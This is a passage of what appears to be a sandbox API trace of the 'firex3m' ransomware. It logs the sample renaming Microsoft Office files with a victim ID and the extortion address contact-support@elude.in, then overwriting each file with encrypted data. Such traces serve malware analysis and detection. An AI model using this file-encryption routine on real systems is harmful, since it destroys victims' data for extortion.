nFileSizeLow=0x72, dwReserved0=0x6d0033, dwReserved1=0x0, cFileName="SKYPEFB_ONLINE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKYPEF~2.FIR")) returned 0x6d4ec0 [0182.672] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0182.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0182.672] GetProcessHeap () returned 0x630000 [0182.672] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4ce8 [0182.672] GetProcessHeap () returned 0x630000 [0182.672] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4a18 [0182.672] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.672] ReadFile (in: hFile=0x688, lpBuffer=0x6a4ce8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4ce8*, lpNumberOfBytesRead=0x673ff0c*=0x60, lpOverlapped=0x0) returned 1 [0182.673] GetProcessHeap () returned 0x630000 [0182.673] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0182.673] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.674] WriteFile (in: hFile=0x688, lpBuffer=0x6a4a18*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4a18*, lpNumberOfBytesWritten=0x673ff0c*=0x60, lpOverlapped=0x0) returned 1 [0182.674] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.674] WriteFile (in: hFile=0x688, lpBuffer=0x6a4a77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4a77*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0182.674] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.674] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0182.674] CloseHandle (hObject=0x688) returned 1 [0182.674] GetProcessHeap () returned 0x630000 [0182.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4a18 | out: hHeap=0x630000) returned 1 [0182.674] GetProcessHeap () returned 0x630000 [0182.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4ce8 | out: hHeap=0x630000) returned 1 [0182.674] GetProcessHeap () returned 0x630000 [0182.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0182.674] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.674] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x32d3e21b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x673fd20, dwReserved1=0x6a4ce8, cFileName="SKYPEFB_ONLINE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKYPEF~2.FIR")) returned 0x6d5340 [0182.675] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0182.675] Sleep (dwMilliseconds=0x1) [0182.677] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXC", len=0x4b | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXC") returned 1 [0182.677] GetProcessHeap () returned 0x630000 [0182.677] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a44) returned 0x707d3d0 [0182.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0182.678] CloseHandle (hObject=0x698) returned 1 [0182.678] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.678] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.679] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_ONLINE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKYPEF~4.FIR")) returned 0x6d5280 [0182.679] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0182.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0182.679] GetProcessHeap () returned 0x630000 [0182.679] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x746a5e0 [0182.679] GetProcessHeap () returned 0x630000 [0182.679] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x746a8a8 [0182.679] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.679] ReadFile (in: hFile=0x698, lpBuffer=0x746a5e0, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746a5e0*, lpNumberOfBytesRead=0x673ff0c*=0x280, lpOverlapped=0x0) returned 1 [0182.688] GetProcessHeap () returned 0x630000 [0182.688] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73188a0 [0182.688] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.688] WriteFile (in: hFile=0x698, lpBuffer=0x746a8a8*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746a8a8*, lpNumberOfBytesWritten=0x673ff0c*=0x280, lpOverlapped=0x0) returned 1 [0182.688] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.688] WriteFile (in: hFile=0x698, lpBuffer=0x746ab27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746ab27*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0182.688] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.688] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0182.688] CloseHandle (hObject=0x698) returned 1 [0182.689] GetProcessHeap () returned 0x630000 [0182.689] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746a8a8 | out: hHeap=0x630000) returned 1 [0182.689] GetProcessHeap () returned 0x630000 [0182.689] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746a5e0 | out: hHeap=0x630000) returned 1 [0182.689] GetProcessHeap () returned 0x630000 [0182.689] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73188a0 | out: hHeap=0x630000) returned 1 [0182.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x32d63a58, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x673fd20, dwReserved1=0x746a5e0, cFileName="SKYPEFB_ONLINE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKYPEF~4.FIR")) returned 0x6d5280 [0182.689] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0182.689] Sleep (dwMilliseconds=0x1) [0184.738] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_F_COL.HXK", len=0x46 | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_F_COL.HXK") returned 1 [0184.738] GetProcessHeap () returned 0x630000 [0184.738] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a24) returned 0x707d3d0 [0184.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0184.739] CloseHandle (hObject=0x688) returned 1 [0184.739] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0184.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0184.740] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKE587~1.FIR")) returned 0x6d4ec0 [0184.741] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0184.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0184.741] GetProcessHeap () returned 0x630000 [0184.741] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4ce8 [0184.741] GetProcessHeap () returned 0x630000 [0184.741] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4e98 [0184.741] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.741] ReadFile (in: hFile=0x688, lpBuffer=0x6a4ce8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4ce8*, lpNumberOfBytesRead=0x673ff0c*=0x60, lpOverlapped=0x0) returned 1 [0184.742] GetProcessHeap () returned 0x630000 [0184.742] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0184.742] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.742] WriteFile (in: hFile=0x688, lpBuffer=0x6a4e98*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4e98*, lpNumberOfBytesWritten=0x673ff0c*=0x60, lpOverlapped=0x0) returned 1 [0184.743] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.743] WriteFile (in: hFile=0x688, lpBuffer=0x6a4ef7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4ef7*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0184.743] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.743] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0184.743] CloseHandle (hObject=0x688) returned 1 [0184.743] GetProcessHeap () returned 0x630000 [0184.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4e98 | out: hHeap=0x630000) returned 1 [0184.743] GetProcessHeap () returned 0x630000 [0184.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4ce8 | out: hHeap=0x630000) returned 1 [0184.743] GetProcessHeap () returned 0x630000 [0184.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0184.743] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.743] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x340f61ed, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x673fd20, dwReserved1=0x6a4ce8, cFileName="SKYPEFB_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKE587~1.FIR")) returned 0x6d5000 [0184.744] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0184.744] Sleep (dwMilliseconds=0x1) [0186.761] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Init.xsn", len=0x4b | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Init.xsn") returned 1 [0186.761] GetProcessHeap () returned 0x630000 [0186.761] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29d8) returned 0x707d3d0 [0186.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Init.xsn" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\reviewrouting_init.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0186.762] CloseHandle (hObject=0x40c) returned 1 [0186.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0186.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Init.xsn" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\reviewrouting_init.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Init.xsn.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\reviewrouting_init.xsn.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0186.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0186.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Init.xsn.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReviewRouting_Init.xsn.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REVIEW~2.FIR")) returned 0x6d5280 [0186.764] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0186.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Init.xsn.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\reviewrouting_init.xsn.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0186.764] GetProcessHeap () returned 0x630000 [0186.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x42e1) returned 0x738d9b8 [0186.765] GetProcessHeap () returned 0x630000 [0186.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x42e1) returned 0x71e08c0 [0186.765] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.765] ReadFile (in: hFile=0x40c, lpBuffer=0x738d9b8, nNumberOfBytesToRead=0x42c0, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x738d9b8*, lpNumberOfBytesRead=0x673ff0c*=0x42c0, lpOverlapped=0x0) returned 1 [0188.767] GetProcessHeap () returned 0x630000 [0188.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0188.767] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.767] WriteFile (in: hFile=0x40c, lpBuffer=0x71e08c0*, nNumberOfBytesToWrite=0x42c0, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e08c0*, lpNumberOfBytesWritten=0x673ff0c*=0x42c0, lpOverlapped=0x0) returned 1 [0188.768] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.768] WriteFile (in: hFile=0x40c, lpBuffer=0x71e4b7f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e4b7f*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0188.768] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.768] WriteFile (in: hFile=0x40c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0188.768] CloseHandle (hObject=0x40c) returned 1 [0188.768] GetProcessHeap () returned 0x630000 [0188.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71e08c0 | out: hHeap=0x630000) returned 1 [0188.768] GetProcessHeap () returned 0x630000 [0188.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x738d9b8 | out: hHeap=0x630000) returned 1 [0188.769] GetProcessHeap () returned 0x630000 [0188.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0188.769] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0188.769] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Init.xsn.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36762102, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x42ee, dwReserved0=0x95c7496, dwReserved1=0x738d9b0, cFileName="ReviewRouting_Init.xsn.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REVIEW~2.FIR")) returned 0x6d5280 [0188.770] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0188.770] Sleep (dwMilliseconds=0x1) [0191.041] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE", len=0x3b | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE") returned 1 [0191.041] GetProcessHeap () returned 0x630000 [0191.041] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x460c) returned 0x74656a8 [0191.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xlicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0191.043] CloseHandle (hObject=0x4b8) returned 1 [0191.043] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xlicons.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft 